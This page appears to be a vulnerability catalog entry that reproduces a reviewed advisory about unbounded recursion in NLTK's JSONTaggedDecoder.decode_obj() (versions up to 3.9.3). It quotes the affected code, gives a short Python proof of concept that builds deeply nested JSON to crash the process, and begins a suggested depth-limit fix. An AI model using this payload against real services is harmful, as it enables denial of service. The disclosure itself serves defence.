vulnerability / NVI-00013900 / Revision 1
Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
GitHub lists this reviewed advisory for nltk. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
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02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
nltk
source listed<= 3.9.3
### Summary `JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself recursively without any depth limit. A deeply nested JSON structure exceeding `sys.getrecursionlimit()` (default: 1000) will raise an unhandled `RecursionError`, crashing the Python process. ### Affected code File: `nltk/jsontags.py`, lines 47–52 ```python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj) ``` ### Proof of Concept ```python import sys, json from nltk.jsontags import JSONTaggedDecoder depth = sys.getrecursionlimit() + 50 # e.g. 1050 payload = '{"x":' * depth + "null" + "}" * depth # Raises RecursionError, crashing the process json.loads(payload, cls=JSONTaggedDecoder) ``` ### Impact Any code path that passes externally-supplied JSON to `JSONTaggedDecoder` is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. `nltk/data.py`). ### Suggested Fix Add a depth parameter with a hard limit: ```python @classmethod def decode_obj(cls, obj, _depth=0):
03 / Response
What to do next
- investigate
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04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
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- GHSA-rf74-v2fm-23pw ↗
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- Revision 1 ·
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